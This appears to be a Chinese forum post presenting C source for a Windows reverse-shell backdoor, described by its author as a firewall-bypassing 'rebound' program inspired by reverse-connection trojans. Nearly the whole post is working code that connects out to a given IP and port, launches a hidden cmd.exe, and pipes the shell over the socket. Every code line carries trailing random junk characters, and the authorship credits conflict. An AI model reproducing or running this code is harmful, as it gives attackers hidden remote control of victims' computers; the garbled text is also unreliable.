这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .=y=Fv6X
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/* ============================== /"m s
Rebound port in Windows NT T2{e1 =Z7
By wind,2006/7 #%,X),%-
===============================*/ 7KtU\u
#include q|5WHB
#include .EYL
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#pragma comment(lib,"wsock32.lib") $-_" SWG.
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void OutputShell(); BRFsw`c
SOCKET sClient; ]+lT*6P*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (}#&HE<
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void main(int argc,char **argv) ODJ"3 J
{ UrniJB]
WSADATA stWsaData; 8 Ku9;VEk
int nRet; 'afW'w@
SOCKADDR_IN stSaiClient,stSaiServer; L F?/60
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if(argc != 3) j/V_h'}
{ a%q,P @8
printf("Useage:\n\rRebound DestIP DestPort\n"); (lsG4&\0F
return; k|fM9E
} q/U-WQ<+
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WSAStartup(MAKEWORD(2,2),&stWsaData); ? Fqh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?Ld),A/c
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stSaiClient.sin_family = AF_INET; #y\O+\4e
stSaiClient.sin_port = htons(0); UG vIH m
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cT(nKHL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5{H)r
{ d%EdvM|)
printf("Bind Socket Failed!\n"); p{?duq=
return; .M6. ]H
} RXRbW %b
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stSaiServer.sin_family = AF_INET; XRaGV~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AA-$;s
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cGE{dWz
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8YSvBy
{ \:'GAByy
printf("Connect Error!"); AyJl:aN^
return; \Y,P
} 51:5rN(_
OutputShell(); R0M>'V?e
} e"@r[pq-{u
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void OutputShell() U& GPede
{ CW;zviH5
char szBuff[1024]; H
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SECURITY_ATTRIBUTES stSecurityAttributes; l(Y32]Z
OSVERSIONINFO stOsversionInfo; sta/i?n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :M6|V_Yp
STARTUPINFO stStartupInfo; yCz"~c
char *szShell; 5REH`-
PROCESS_INFORMATION stProcessInformation; `&I6=,YLp
unsigned long lBytesRead; ,WdSJ BK'a
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JKKp5~_~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M_O$]^I3w
stSecurityAttributes.lpSecurityDescriptor = 0; ^uo,LTq+
stSecurityAttributes.bInheritHandle = TRUE; xK8m\=#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zt2#K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A@M2(?w4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^PdD-tY<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i~GW
stStartupInfo.wShowWindow = SW_HIDE; Sw$&E
stStartupInfo.hStdInput = hReadPipe; *K>2B99TXu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4FnePi~i
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GetVersionEx(&stOsversionInfo); C\rT'!Uk\Q
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switch(stOsversionInfo.dwPlatformId) `?:{aOI
{ !}A`6z
case 1: ~#EXb?#uS
szShell = "command.com"; ]Y
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2&
break; x1
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default: "=s dn
szShell = "cmd.exe"; jKP75jm
break; =5:vKL j
} ?@A@;`0Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6o#J
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send(sClient,szMsg,77,0); wQ-BY"cK\
while(1) r?`nc6$0|
{ 7F~Jz*,B*W
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bq7()ocA
if(lBytesRead) |/-# N
{ C _W]3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uPFbKSJj
send(sClient,szBuff,lBytesRead,0); 4P2p|Gc3
} R]kH$0`
else a$"Z\F:x
{ 54JI/!a
lBytesRead=recv(sClient,szBuff,1024,0); 2}{[J
if(lBytesRead<=0) break; G4F~V't
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _qit$#wK;
} Rlr[uU_
} EU5(s*A
,!~U5~
return; c1]\.s
}